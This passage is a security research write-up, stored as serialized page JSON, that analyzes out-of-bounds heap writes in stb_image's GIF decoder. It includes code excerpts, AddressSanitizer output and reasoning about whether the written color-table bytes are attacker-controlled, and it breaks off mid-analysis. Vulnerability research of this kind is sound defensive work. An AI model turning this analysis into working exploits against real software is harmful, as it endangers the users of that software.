write\n",[147856],{"type":23,"tag":209,"props":147857,"children":147858},{"__ignoreMap":7},[147859,147901,147908,147934,147947,147954,147962,147969,148023,148030,148076,148109],{"type":23,"tag":213,"props":147860,"children":147861},{"class":215,"line":216},[147862,147866,147870,147875,147880,147884,147888,147893,147897],{"type":23,"tag":213,"props":147863,"children":147864},{"style":230},[147865],{"type":28,"value":51097},{"type":23,"tag":213,"props":147867,"children":147868},{"style":230},[147869],{"type":28,"value":51102},{"type":23,"tag":213,"props":147871,"children":147872},{"style":257},[147873],{"type":28,"value":147874}," stbi__out_gif_code",{"type":23,"tag":213,"props":147876,"children":147877},{"style":220},[147878],{"type":28,"value":147879},"(stbi__gif ",{"type":23,"tag":213,"props":147881,"children":147882},{"style":274},[147883],{"type":28,"value":1696},{"type":23,"tag":213,"props":147885,"children":147886},{"style":268},[147887],{"type":28,"value":109351},{"type":23,"tag":213,"props":147889,"children":147890},{"style":220},[147891],{"type":28,"value":147892},", stbi__uint16 ",{"type":23,"tag":213,"props":147894,"children":147895},{"style":268},[147896],{"type":28,"value":209},{"type":23,"tag":213,"props":147898,"children":147899},{"style":220},[147900],{"type":28,"value":2183},{"type":23,"tag":213,"props":147902,"children":147903},{"class":215,"line":226},[147904],{"type":23,"tag":213,"props":147905,"children":147906},{"style":220},[147907],{"type":28,"value":10964},{"type":23,"tag":213,"props":147909,"children":147910},{"class":215,"line":524},[147911,147916,147920,147925,147929],{"type":23,"tag":213,"props":147912,"children":147913},{"style":220},[147914],{"type":28,"value":147915}," stbi_uc ",{"type":23,"tag":213,"props":147917,"children":147918},{"style":274},[147919],{"type":28,"value":1696},{"type":23,"tag":213,"props":147921,"children":147922},{"style":220},[147923],{"type":28,"value":147924},"p, ",{"type":23,"tag":213,"props":147926,"children":147927},{"style":274},[147928],{"type":28,"value":1696},{"type":23,"tag":213,"props":147930,"children":147931},{"style":220},[147932],{"type":28,"value":147933},"c;\n",{"type":23,"tag":213,"props":147935,"children":147936},{"class":215,"line":533},[147937,147942],{"type":23,"tag":213,"props":147938,"children":147939},{"style":230},[147940],{"type":28,"value":147941}," int",{"type":23,"tag":213,"props":147943,"children":147944},{"style":220},[147945],{"type":28,"value":147946}," idx; \n",{"type":23,"tag":213,"props":147948,"children":147949},{"class":215,"line":543},[147950],{"type":23,"tag":213,"props":147951,"children":147952},{"emptyLinePlaceholder":18},[147953],{"type":28,"value":530},{"type":23,"tag":213,"props":147955,"children":147956},{"class":215,"line":551},[147957],{"type":23,"tag":213,"props":147958,"children":147959},{"style":220},[147960],{"type":28,"value":147961}," [...]\n",{"type":23,"tag":213,"props":147963,"children":147964},{"class":215,"line":570},[147965],{"type":23,"tag":213,"props":147966,"children":147967},{"emptyLinePlaceholder":18},[147968],{"type":28,"value":530},{"type":23,"tag":213,"props":147970,"children":147971},{"class":215,"line":655},[147972,147976,147980,147984,147988,147993,147997,148002,148006,148011,148015,148019],{"type":23,"tag":213,"props":147973,"children":147974},{"style":1362},[147975],{"type":28,"value":52697},{"type":23,"tag":213,"props":147977,"children":147978},{"style":220},[147979],{"type":28,"value":400},{"type":23,"tag":213,"props":147981,"children":147982},{"style":268},[147983],{"type":28,"value":109351},{"type":23,"tag":213,"props":147985,"children":147986},{"style":220},[147987],{"type":28,"value":303},{"type":23,"tag":213,"props":147989,"children":147990},{"style":268},[147991],{"type":28,"value":147992},"cur_y",{"type":23,"tag":213,"props":147994,"children":147995},{"style":274},[147996],{"type":28,"value":8388},{"type":23,"tag":213,"props":147998,"children":147999},{"style":268},[148000],{"type":28,"value":148001}," g",{"type":23,"tag":213,"props":148003,"children":148004},{"style":220},[148005],{"type":28,"value":303},{"type":23,"tag":213,"props":148007,"children":148008},{"style":268},[148009],{"type":28,"value":148010},"max_y",{"type":23,"tag":213,"props":148012,"children":148013},{"style":220},[148014],{"type":28,"value":298},{"type":23,"tag":213,"props":148016,"children":148017},{"style":1362},[148018],{"type":28,"value":48509},{"type":23,"tag":213,"props":148020,"children":148021},{"style":220},[148022],{"type":28,"value":313},{"type":23,"tag":213,"props":148024,"children":148025},{"class":215,"line":1176},[148026],{"type":23,"tag":213,"props":148027,"children":148028},{"emptyLinePlaceholder":18},[148029],{"type":28,"value":530},{"type":23,"tag":213,"props":148031,"children":148032},{"class":215,"line":1202},[148033,148038,148042,148046,148050,148055,148059,148063,148067,148071],{"type":23,"tag":213,"props":148034,"children":148035},{"style":220},[148036],{"type":28,"value":148037}," idx ",{"type":23,"tag":213,"props":148039,"children":148040},{"style":274},[148041],{"type":28,"value":3190},{"type":23,"tag":213,"props":148043,"children":148044},{"style":268},[148045],{"type":28,"value":148001},{"type":23,"tag":213,"props":148047,"children":148048},{"style":220},[148049],{"type":28,"value":303},{"type":23,"tag":213,"props":148051,"children":148052},{"style":268},[148053],{"type":28,"value":148054},"cur_x",{"type":23,"tag":213,"props":148056,"children":148057},{"style":274},[148058],{"type":28,"value":8989},{"type":23,"tag":213,"props":148060,"children":148061},{"style":268},[148062],{"type":28,"value":148001},{"type":23,"tag":213,"props":148064,"children":148065},{"style":220},[148066],{"type":28,"value":303},{"type":23,"tag":213,"props":148068,"children":148069},{"style":268},[148070],{"type":28,"value":147992},{"type":23,"tag":213,"props":148072,"children":148073},{"style":220},[148074],{"type":28,"value":148075},"; \n",{"type":23,"tag":213,"props":148077,"children":148078},{"class":215,"line":1758},[148079,148084,148088,148092,148096,148100,148104],{"type":23,"tag":213,"props":148080,"children":148081},{"style":220},[148082],{"type":28,"value":148083}," p ",{"type":23,"tag":213,"props":148085,"children":148086},{"style":274},[148087],{"type":28,"value":3190},{"type":23,"tag":213,"props":148089,"children":148090},{"style":274},[148091],{"type":28,"value":927},{"type":23,"tag":213,"props":148093,"children":148094},{"style":268},[148095],{"type":28,"value":109351},{"type":23,"tag":213,"props":148097,"children":148098},{"style":220},[148099],{"type":28,"value":303},{"type":23,"tag":213,"props":148101,"children":148102},{"style":268},[148103],{"type":28,"value":118774},{"type":23,"tag":213,"props":148105,"children":148106},{"style":220},[148107],{"type":28,"value":148108},"[idx];\n",{"type":23,"tag":213,"props":148110,"children":148111},{"class":215,"line":1767},[148112,148117,148121,148126,148131,148135,148139,148143,148147,148151,148155],{"type":23,"tag":213,"props":148113,"children":148114},{"style":268},[148115],{"type":28,"value":148116}," g",{"type":23,"tag":213,"props":148118,"children":148119},{"style":220},[148120],{"type":28,"value":303},{"type":23,"tag":213,"props":148122,"children":148123},{"style":268},[148124],{"type":28,"value":148125},"history",{"type":23,"tag":213,"props":148127,"children":148128},{"style":220},[148129],{"type":28,"value":148130},"[idx ",{"type":23,"tag":213,"props":148132,"children":148133},{"style":274},[148134],{"type":28,"value":4675},{"type":23,"tag":213,"props":148136,"children":148137},{"style":514},[148138],{"type":28,"value":11829},{"type":23,"tag":213,"props":148140,"children":148141},{"style":220},[148142],{"type":28,"value":8746},{"type":23,"tag":213,"props":148144,"children":148145},{"style":274},[148146],{"type":28,"value":3190},{"type":23,"tag":213,"props":148148,"children":148149},{"style":514},[148150],{"type":28,"value":4618},{"type":23,"tag":213,"props":148152,"children":148153},{"style":220},[148154],{"type":28,"value":49126},{"type":23,"tag":213,"props":148156,"children":148157},{"style":537},[148158],{"type":28,"value":148159}," // OOB write\n",{"type":23,"tag":24,"props":148161,"children":148162},{},[148163,148165,148170,148172,148178,148180,148186],{"type":28,"value":148164},"It’s reasonable to assume ",{"type":23,"tag":209,"props":148166,"children":148168},{"className":148167},[],[148169],{"type":28,"value":76570},{"type":28,"value":148171}," is outside the bounds of ",{"type":23,"tag":209,"props":148173,"children":148175},{"className":148174},[],[148176],{"type":28,"value":148177},"g->history",{"type":28,"value":148179},", which leads to a one-byte OOB write (",{"type":23,"tag":209,"props":148181,"children":148183},{"className":148182},[],[148184],{"type":28,"value":148185},"g->history[idx / 4] = 1",{"type":28,"value":148187},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":24,"props":148189,"children":148190},{},[148191,148193,148198,148200,148206,148208,148213,148215,148221,148223,148229],{"type":28,"value":148192},"Because ",{"type":23,"tag":209,"props":148194,"children":148196},{"className":148195},[],[148197],{"type":28,"value":24},{"type":28,"value":148199}," is computed from ",{"type":23,"tag":209,"props":148201,"children":148203},{"className":148202},[],[148204],{"type":28,"value":148205},"g->out[idx]",{"type":28,"value":148207}," immediately before the violation, we considered whether ",{"type":23,"tag":209,"props":148209,"children":148211},{"className":148210},[],[148212],{"type":28,"value":76570},{"type":28,"value":148214}," could also be OOB for ",{"type":23,"tag":209,"props":148216,"children":148218},{"className":148217},[],[148219],{"type":28,"value":148220},"g->out",{"type":28,"value":148222},". Note that computing the address ",{"type":23,"tag":209,"props":148224,"children":148226},{"className":148225},[],[148227],{"type":28,"value":148228},"&g->out[idx]",{"type":28,"value":148230}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":24,"props":148232,"children":148233},{},[148234,148236,148241],{"type":28,"value":148235},"If we comment out ",{"type":23,"tag":209,"props":148237,"children":148239},{"className":148238},[],[148240],{"type":28,"value":148185},{"type":28,"value":148242}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":202,"props":148244,"children":148246},{"code":148245},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n [...]\n",[148247],{"type":23,"tag":209,"props":148248,"children":148249},{"__ignoreMap":7},[148250],{"type":28,"value":148245},{"type":23,"tag":24,"props":148252,"children":148253},{},[148254],{"type":28,"value":148255},"This corresponds to:",{"type":23,"tag":202,"props":148257,"children":148259},{"code":148258,"language":3244,"meta":7,"className":16566,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n [...]\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; \n\n c = &g->color_table[g->codes[code].suffix * 4];\n if (c[3] > 128) {\n p[0] = c[2]; // OOB write\n p[1] = c[1];\n p[2] = c[0];\n p[3] = c[3];\n }\n",[148260],{"type":23,"tag":209,"props":148261,"children":148262},{"__ignoreMap":7},[148263,148302,148309,148316,148323,148366,148397,148441,148448,148516,148556,148601,148640,148679,148718],{"type":23,"tag":213,"props":148264,"children":148265},{"class":215,"line":216},[148266,148270,148274,148278,148282,148286,148290,148294,148298],{"type":23,"tag":213,"props":148267,"children":148268},{"style":230},[148269],{"type":28,"value":51097},{"type":23,"tag":213,"props":148271,"children":148272},{"style":230},[148273],{"type":28,"value":51102},{"type":23,"tag":213,"props":148275,"children":148276},{"style":257},[148277],{"type":28,"value":147874},{"type":23,"tag":213,"props":148279,"children":148280},{"style":220},[148281],{"type":28,"value":147879},{"type":23,"tag":213,"props":148283,"children":148284},{"style":274},[148285],{"type":28,"value":1696},{"type":23,"tag":213,"props":148287,"children":148288},{"style":268},[148289],{"type":28,"value":109351},{"type":23,"tag":213,"props":148291,"children":148292},{"style":220},[148293],{"type":28,"value":147892},{"type":23,"tag":213,"props":148295,"children":148296},{"style":268},[148297],{"type":28,"value":209},{"type":23,"tag":213,"props":148299,"children":148300},{"style":220},[148301],{"type":28,"value":2183},{"type":23,"tag":213,"props":148303,"children":148304},{"class":215,"line":226},[148305],{"type":23,"tag":213,"props":148306,"children":148307},{"style":220},[148308],{"type":28,"value":10964},{"type":23,"tag":213,"props":148310,"children":148311},{"class":215,"line":524},[148312],{"type":23,"tag":213,"props":148313,"children":148314},{"style":220},[148315],{"type":28,"value":147961},{"type":23,"tag":213,"props":148317,"children":148318},{"class":215,"line":533},[148319],{"type":23,"tag":213,"props":148320,"children":148321},{"emptyLinePlaceholder":18},[148322],{"type":28,"value":530},{"type":23,"tag":213,"props":148324,"children":148325},{"class":215,"line":543},[148326,148330,148334,148338,148342,148346,148350,148354,148358,148362],{"type":23,"tag":213,"props":148327,"children":148328},{"style":220},[148329],{"type":28,"value":148037},{"type":23,"tag":213,"props":148331,"children":148332},{"style":274},[148333],{"type":28,"value":3190},{"type":23,"tag":213,"props":148335,"children":148336},{"style":268},[148337],{"type":28,"value":148001},{"type":23,"tag":213,"props":148339,"children":148340},{"style":220},[148341],{"type":28,"value":303},{"type":23,"tag":213,"props":148343,"children":148344},{"style":268},[148345],{"type":28,"value":148054},{"type":23,"tag":213,"props":148347,"children":148348},{"style":274},[148349],{"type":28,"value":8989},{"type":23,"tag":213,"props":148351,"children":148352},{"style":268},[148353],{"type":28,"value":148001},{"type":23,"tag":213,"props":148355,"children":148356},{"style":220},[148357],{"type":28,"value":303},{"type":23,"tag":213,"props":148359,"children":148360},{"style":268},[148361],{"type":28,"value":147992},{"type":23,"tag":213,"props":148363,"children":148364},{"style":220},[148365],{"type":28,"value":148075},{"type":23,"tag":213,"props":148367,"children":148368},{"class":215,"line":551},[148369,148373,148377,148381,148385,148389,148393],{"type":23,"tag":213,"props":148370,"children":148371},{"style":220},[148372],{"type":28,"value":148083},{"type":23,"tag":213,"props":148374,"children":148375},{"style":274},[148376],{"type":28,"value":3190},{"type":23,"tag":213,"props":148378,"children":148379},{"style":274},[148380],{"type":28,"value":927},{"type":23,"tag":213,"props":148382,"children":148383},{"style":268},[148384],{"type":28,"value":109351},{"type":23,"tag":213,"props":148386,"children":148387},{"style":220},[148388],{"type":28,"value":303},{"type":23,"tag":213,"props":148390,"children":148391},{"style":268},[148392],{"type":28,"value":118774},{"type":23,"tag":213,"props":148394,"children":148395},{"style":220},[148396],{"type":28,"value":148108},{"type":23,"tag":213,"props":148398,"children":148399},{"class":215,"line":570},[148400,148404,148408,148412,148416,148420,148424,148428,148432,148436],{"type":23,"tag":213,"props":148401,"children":148402},{"style":268},[148403],{"type":28,"value":148116},{"type":23,"tag":213,"props":148405,"children":148406},{"style":220},[148407],{"type":28,"value":303},{"type":23,"tag":213,"props":148409,"children":148410},{"style":268},[148411],{"type":28,"value":148125},{"type":23,"tag":213,"props":148413,"children":148414},{"style":220},[148415],{"type":28,"value":148130},{"type":23,"tag":213,"props":148417,"children":148418},{"style":274},[148419],{"type":28,"value":4675},{"type":23,"tag":213,"props":148421,"children":148422},{"style":514},[148423],{"type":28,"value":11829},{"type":23,"tag":213,"props":148425,"children":148426},{"style":220},[148427],{"type":28,"value":8746},{"type":23,"tag":213,"props":148429,"children":148430},{"style":274},[148431],{"type":28,"value":3190},{"type":23,"tag":213,"props":148433,"children":148434},{"style":514},[148435],{"type":28,"value":4618},{"type":23,"tag":213,"props":148437,"children":148438},{"style":220},[148439],{"type":28,"value":148440},"; \n",{"type":23,"tag":213,"props":148442,"children":148443},{"class":215,"line":655},[148444],{"type":23,"tag":213,"props":148445,"children":148446},{"emptyLinePlaceholder":18},[148447],{"type":28,"value":530},{"type":23,"tag":213,"props":148449,"children":148450},{"class":215,"line":1176},[148451,148456,148460,148464,148468,148472,148477,148481,148485,148489,148494,148499,148504,148508,148512],{"type":23,"tag":213,"props":148452,"children":148453},{"style":220},[148454],{"type":28,"value":148455}," c ",{"type":23,"tag":213,"props":148457,"children":148458},{"style":274},[148459],{"type":28,"value":3190},{"type":23,"tag":213,"props":148461,"children":148462},{"style":274},[148463],{"type":28,"value":927},{"type":23,"tag":213,"props":148465,"children":148466},{"style":268},[148467],{"type":28,"value":109351},{"type":23,"tag":213,"props":148469,"children":148470},{"style":220},[148471],{"type":28,"value":303},{"type":23,"tag":213,"props":148473,"children":148474},{"style":268},[148475],{"type":28,"value":148476},"color_table",{"type":23,"tag":213,"props":148478,"children":148479},{"style":220},[148480],{"type":28,"value":3821},{"type":23,"tag":213,"props":148482,"children":148483},{"style":268},[148484],{"type":28,"value":109351},{"type":23,"tag":213,"props":148486,"children":148487},{"style":220},[148488],{"type":28,"value":303},{"type":23,"tag":213,"props":148490,"children":148491},{"style":268},[148492],{"type":28,"value":148493},"codes",{"type":23,"tag":213,"props":148495,"children":148496},{"style":220},[148497],{"type":28,"value":148498},"[code].",{"type":23,"tag":213,"props":148500,"children":148501},{"style":268},[148502],{"type":28,"value":148503},"suffix",{"type":23,"tag":213,"props":148505,"children":148506},{"style":274},[148507],{"type":28,"value":282},{"type":23,"tag":213,"props":148509,"children":148510},{"style":514},[148511],{"type":28,"value":11829},{"type":23,"tag":213,"props":148513,"children":148514},{"style":220},[148515],{"type":28,"value":31630},{"type":23,"tag":213,"props":148517,"children":148518},{"class":215,"line":1202},[148519,148523,148527,148531,148535,148539,148543,148547,148552],{"type":23,"tag":213,"props":148520,"children":148521},{"style":1362},[148522],{"type":28,"value":52697},{"type":23,"tag":213,"props":148524,"children":148525},{"style":220},[148526],{"type":28,"value":400},{"type":23,"tag":213,"props":148528,"children":148529},{"style":268},[148530],{"type":28,"value":3244},{"type":23,"tag":213,"props":148532,"children":148533},{"style":220},[148534],{"type":28,"value":3821},{"type":23,"tag":213,"props":148536,"children":148537},{"style":514},[148538],{"type":28,"value":17346},{"type":23,"tag":213,"props":148540,"children":148541},{"style":220},[148542],{"type":28,"value":8746},{"type":23,"tag":213,"props":148544,"children":148545},{"style":274},[148546],{"type":28,"value":10545},{"type":23,"tag":213,"props":148548,"children":148549},{"style":514},[148550],{"type":28,"value":148551}," 128",{"type":23,"tag":213,"props":148553,"children":148554},{"style":220},[148555],{"type":28,"value":14870},{"type":23,"tag":213,"props":148557,"children":148558},{"class":215,"line":1758},[148559,148564,148568,148572,148576,148580,148584,148588,148592,148596],{"type":23,"tag":213,"props":148560,"children":148561},{"style":268},[148562],{"type":28,"value":148563}," p",{"type":23,"tag":213,"props":148565,"children":148566},{"style":220},[148567],{"type":28,"value":3821},{"type":23,"tag":213,"props":148569,"children":148570},{"style":514},[148571],{"type":28,"value":4116},{"type":23,"tag":213,"props":148573,"children":148574},{"style":220},[148575],{"type":28,"value":8746},{"type":23,"tag":213,"props":148577,"children":148578},{"style":274},[148579],{"type":28,"value":3190},{"type":23,"tag":213,"props":148581,"children":148582},{"style":268},[148583],{"type":28,"value":37503},{"type":23,"tag":213,"props":148585,"children":148586},{"style":220},[148587],{"type":28,"value":3821},{"type":23,"tag":213,"props":148589,"children":148590},{"style":514},[148591],{"type":28,"value":3221},{"type":23,"tag":213,"props":148593,"children":148594},{"style":220},[148595],{"type":28,"value":55964},{"type":23,"tag":213,"props":148597,"children":148598},{"style":537},[148599],{"type":28,"value":148600}," // OOB write\n",{"type":23,"tag":213,"props":148602,"children":148603},{"class":215,"line":1767},[148604,148608,148612,148616,148620,148624,148628,148632,148636],{"type":23,"tag":213,"props":148605,"children":148606},{"style":268},[148607],{"type":28,"value":148563},{"type":23,"tag":213,"props":148609,"children":148610},{"style":220},[148611],{"type":28,"value":3821},{"type":23,"tag":213,"props":148613,"children":148614},{"style":514},[148615],{"type":28,"value":4106},{"type":23,"tag":213,"props":148617,"children":148618},{"style":220},[148619],{"type":28,"value":8746},{"type":23,"tag":213,"props":148621,"children":148622},{"style":274},[148623],{"type":28,"value":3190},{"type":23,"tag":213,"props":148625,"children":148626},{"style":268},[148627],{"type":28,"value":37503},{"type":23,"tag":213,"props":148629,"children":148630},{"style":220},[148631],{"type":28,"value":3821},{"type":23,"tag":213,"props":148633,"children":148634},{"style":514},[148635],{"type":28,"value":4106},{"type":23,"tag":213,"props":148637,"children":148638},{"style":220},[148639],{"type":28,"value":31630},{"type":23,"tag":213,"props":148641,"children":148642},{"class":215,"line":1789},[148643,148647,148651,148655,148659,148663,148667,148671,148675],{"type":23,"tag":213,"props":148644,"children":148645},{"style":268},[148646],{"type":28,"value":148563},{"type":23,"tag":213,"props":148648,"children":148649},{"style":220},[148650],{"type":28,"value":3821},{"type":23,"tag":213,"props":148652,"children":148653},{"style":514},[148654],{"type":28,"value":3221},{"type":23,"tag":213,"props":148656,"children":148657},{"style":220},[148658],{"type":28,"value":8746},{"type":23,"tag":213,"props":148660,"children":148661},{"style":274},[148662],{"type":28,"value":3190},{"type":23,"tag":213,"props":148664,"children":148665},{"style":268},[148666],{"type":28,"value":37503},{"type":23,"tag":213,"props":148668,"children":148669},{"style":220},[148670],{"type":28,"value":3821},{"type":23,"tag":213,"props":148672,"children":148673},{"style":514},[148674],{"type":28,"value":4116},{"type":23,"tag":213,"props":148676,"children":148677},{"style":220},[148678],{"type":28,"value":31630},{"type":23,"tag":213,"props":148680,"children":148681},{"class":215,"line":1812},[148682,148686,148690,148694,148698,148702,148706,148710,148714],{"type":23,"tag":213,"props":148683,"children":148684},{"style":268},[148685],{"type":28,"value":148563},{"type":23,"tag":213,"props":148687,"children":148688},{"style":220},[148689],{"type":28,"value":3821},{"type":23,"tag":213,"props":148691,"children":148692},{"style":514},[148693],{"type":28,"value":17346},{"type":23,"tag":213,"props":148695,"children":148696},{"style":220},[148697],{"type":28,"value":8746},{"type":23,"tag":213,"props":148699,"children":148700},{"style":274},[148701],{"type":28,"value":3190},{"type":23,"tag":213,"props":148703,"children":148704},{"style":268},[148705],{"type":28,"value":37503},{"type":23,"tag":213,"props":148707,"children":148708},{"style":220},[148709],{"type":28,"value":3821},{"type":23,"tag":213,"props":148711,"children":148712},{"style":514},[148713],{"type":28,"value":17346},{"type":23,"tag":213,"props":148715,"children":148716},{"style":220},[148717],{"type":28,"value":31630},{"type":23,"tag":213,"props":148719,"children":148720},{"class":215,"line":1838},[148721],{"type":23,"tag":213,"props":148722,"children":148723},{"style":220},[148724],{"type":28,"value":34805},{"type":23,"tag":24,"props":148726,"children":148727},{},[148728,148730,148735,148737,148742],{"type":28,"value":148729},"This confirms ",{"type":23,"tag":209,"props":148731,"children":148733},{"className":148732},[],[148734],{"type":28,"value":76570},{"type":28,"value":148736}," is OOB for ",{"type":23,"tag":209,"props":148738,"children":148740},{"className":148739},[],[148741],{"type":28,"value":148220},{"type":28,"value":148743}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":24,"props":148745,"children":148746},{},[148747,148749,148755,148757,148764],{"type":28,"value":148748},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":209,"props":148750,"children":148752},{"className":148751},[],[148753],{"type":28,"value":148754},"g->color_table",{"type":28,"value":148756}," is populated by ",{"type":23,"tag":36,"props":148758,"children":148761},{"href":148759,"rel":148760},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[40],[148762],{"type":28,"value":148763},"stbi__gif_parse_colortable",{"type":28,"value":277},{"type":23,"tag":202,"props":148766,"children":148768},{"code":148767,"language":3244,"meta":7,"className":16566,"style":7},"static void stbi__gif_parse_colortable(\n stbi__context *s,\n stbi_uc pal[256][4], // g->color_table\n int num_entries,\n int transp\n) {\n int i;\n for (i=0; i \u003C num_entries; ++i) {\n pal[i][2] = stbi__get8(s);\n pal[i][1] = stbi__get8(s);\n pal[i][0] = stbi__get8(s);\n pal[i][3] = transp == i ? 0 : 255;\n }\n}\n",[148769],{"type":23,"tag":209,"props":148770,"children":148771},{"__ignoreMap":7},[148772,148792,148812,148851,148867,148879,148886,148897,148940,148974,149005,149036,149093,149100],{"type":23,"tag":213,"props":148773,"children":148774},{"class":215,"line":216},[148775,148779,148783,148788],{"type":23,"tag":213,"props":148776,"children":148777},{"style":230},[148778],{"type":28,"value":51097},{"type":23,"tag":213,"props":148780,"children":148781},{"style":230},[148782],{"type":28,"value":51102},{"type":23,"tag":213,"props":148784,"children":148785},{"style":257},[148786],{"type":28,"value":148787}," stbi__gif_parse_colortable",{"type":23,"tag":213,"props":148789,"children":148790},{"style":220},[148791],{"type":28,"value":1511},{"type":23,"tag":213,"props":148793,"children":148794},{"class":215,"line":226},[148795,148800,148804,148808],{"type":23,"tag":213,"props":148796,"children":148797},{"style":220},[148798],{"type":28,"value":148799}," stbi__context ",{"type":23,"tag":213,"props":148801,"children":148802},{"style":274},[148803],{"type":28,"value":1696},{"type":23,"tag":213,"props":148805,"children":148806},{"style":268},[148807],{"type":28,"value":10735},{"type":23,"tag":213,"props":148809,"children":148810},{"style":220},[148811],{"type":28,"value":944},{"type":23,"tag":213,"props":148813,"children":148814},{"class":215,"line":524},[148815,148820,148825,148829,148833,148837,148841,148846],{"type":23,"tag":213,"props":148816,"children":148817},{"style":220},[148818],{"type":28,"value":148819}," stbi_uc ",{"type":23,"tag":213,"props":148821,"children":148822},{"style":268},[148823],{"type":28,"value":148824},"pal",{"type":23,"tag":213,"props":148826,"children":148827},{"style":220},[148828],{"type":28,"value":3821},{"type":23,"tag":213,"props":148830,"children":148831},{"style":514},[148832],{"type":28,"value":93348},{"type":23,"tag":213,"props":148834,"children":148835},{"style":220},[148836],{"type":28,"value":49010},{"type":23,"tag":213,"props":148838,"children":148839},{"style":514},[148840],{"type":28,"value":17578},{"type":23,"tag":213,"props":148842,"children":148843},{"style":220},[148844],{"type":28,"value":148845},"],",{"type":23,"tag":213,"props":148847,"children":148848},{"style":537},[148849],{"type":28,"value":148850}," // g->color_table\n",{"type":23,"tag":213,"props":148852,"children":148853},{"class":215,"line":533},[148854,148858,148863],{"type":23,"tag":213,"props":148855,"children":148856},{"style":230},[148857],{"type":28,"value":19130},{"type":23,"tag":213,"props":148859,"children":148860},{"style":268},[148861],{"type":28,"value":148862}," num_entries",{"type":23,"tag":213,"props":148864,"children":148865},{"style":220},[148866],{"type":28,"value":944},{"type":23,"tag":213,"props":148868,"children":148869},{"class":215,"line":543},[148870,148874],{"type":23,"tag":213,"props":148871,"children":148872},{"style":230},[148873],{"type":28,"value":19130},{"type":23,"tag":213,"props":148875,"children":148876},{"style":220},[148877],{"type":28,"value":148878}," transp\n",{"type":23,"tag":213,"props":148880,"children":148881},{"class":215,"line":551},[148882],{"type":23,"tag":213,"props":148883,"children":148884},{"style":220},[148885],{"type":28,"value":14870},{"type":23,"tag":213,"props":148887,"children":148888},{"class":215,"line":570},[148889,148893],{"type":23,"tag":213,"props":148890,"children":148891},{"style":230},[148892],{"type":28,"value":147941},{"type":23,"tag":213,"props":148894,"children":148895},{"style":220},[148896],{"type":28,"value":58017},{"type":23,"tag":213,"props":148898,"children":148899},{"class":215,"line":655},[148900,148905,148910,148914,148918,148922,148926,148931,148935],{"type":23,"tag":213,"props":148901,"children":148902},{"style":1362},[148903],{"type":28,"value":148904}," for",{"type":23,"tag":213,"props":148906,"children":148907},{"style":220},[148908],{"type":28,"value":148909}," (i",{"type":23,"tag":213,"props":148911,"children":148912},{"style":274},[148913],{"type":28,"value":3190},{"type":23,"tag":213,"props":148915,"children":148916},{"style":514},[148917],{"type":28,"value":4116},{"type":23,"tag":213,"props":148919,"children":148920},{"style":220},[148921],{"type":28,"value":51286},{"type":23,"tag":213,"props":148923,"children":148924},{"style":274},[148925],{"type":28,"value":434},{"type":23,"tag":213,"props":148927,"children":148928},{"style":220},[148929],{"type":28,"value":148930}," num_entries; ",{"type":23,"tag":213,"props":148932,"children":148933},{"style":274},[148934],{"type":28,"value":51322},{"type":23,"tag":213,"props":148936,"children":148937},{"style":220},[148938],{"type":28,"value":148939},"i) {\n",{"type":23,"tag":213,"props":148941,"children":148942},{"class":215,"line":1176},[148943,148948,148952,148956,148960,148964,148969],{"type":23,"tag":213,"props":148944,"children":148945},{"style":268},[148946],{"type":28,"value":148947}," pal",{"type":23,"tag":213,"props":148949,"children":148950},{"style":220},[148951],{"type":28,"value":60708},{"type":23,"tag":213,"props":148953,"children":148954},{"style":514},[148955],{"type":28,"value":3221},{"type":23,"tag":213,"props":148957,"children":148958},{"style":220},[148959],{"type":28,"value":8746},{"type":23,"tag":213,"props":148961,"children":148962},{"style":274},[148963],{"type":28,"value":3190},{"type":23,"tag":213,"props":148965,"children":148966},{"style":257},[148967],{"type":28,"value":148968}," stbi__get8",{"type":23,"tag":213,"props":148970,"children":148971},{"style":220},[148972],{"type":28,"value":148973},"(s);\n",{"type":23,"tag":213,"props":148975,"children":148976},{"class":215,"line":1202},[148977,148981,148985,148989,148993,148997,149001],{"type":23,"tag":213,"props":148978,"children":148979},{"style":268},[148980],{"type":28,"value":148947},{"type":23,"tag":213,"props":148982,"children":148983},{"style":220},[148984],{"type":28,"value":60708},{"type":23,"tag":213,"props":148986,"children":148987},{"style":514},[148988],{"type":28,"value":4106},{"type":23,"tag":213,"props":148990,"children":148991},{"style":220},[148992],{"type":28,"value":8746},{"type":23,"tag":213,"props":148994,"children":148995},{"style":274},[148996],{"type":28,"value":3190},{"type":23,"tag":213,"props":148998,"children":148999},{"style":257},[149000],{"type":28,"value":148968},{"type":23,"tag":213,"props":149002,"children":149003},{"style":220},[149004],{"type":28,"value":148973},{"type":23,"tag":213,"props":149006,"children":149007},{"class":215,"line":1758},[149008,149012,149016,149020,149024,149028,149032],{"type":23,"tag":213,"props":149009,"children":149010},{"style":268},[149011],{"type":28,"value":148947},{"type":23,"tag":213,"props":149013,"children":149014},{"style":220},[149015],{"type":28,"value":60708},{"type":23,"tag":213,"props":149017,"children":149018},{"style":514},[149019],{"type":28,"value":4116},{"type":23,"tag":213,"props":149021,"children":149022},{"style":220},[149023],{"type":28,"value":8746},{"type":23,"tag":213,"props":149025,"children":149026},{"style":274},[149027],{"type":28,"value":3190},{"type":23,"tag":213,"props":149029,"children":149030},{"style":257},[149031],{"type":28,"value":148968},{"type":23,"tag":213,"props":149033,"children":149034},{"style":220},[149035],{"type":28,"value":148973},{"type":23,"tag":213,"props":149037,"children":149038},{"class":215,"line":1767},[149039,149043,149047,149051,149055,149059,149064,149068,149072,149076,149080,149084,149089],{"type":23,"tag":213,"props":149040,"children":149041},{"style":268},[149042],{"type":28,"value":148947},{"type":23,"tag":213,"props":149044,"children":149045},{"style":220},[149046],{"type":28,"value":60708},{"type":23,"t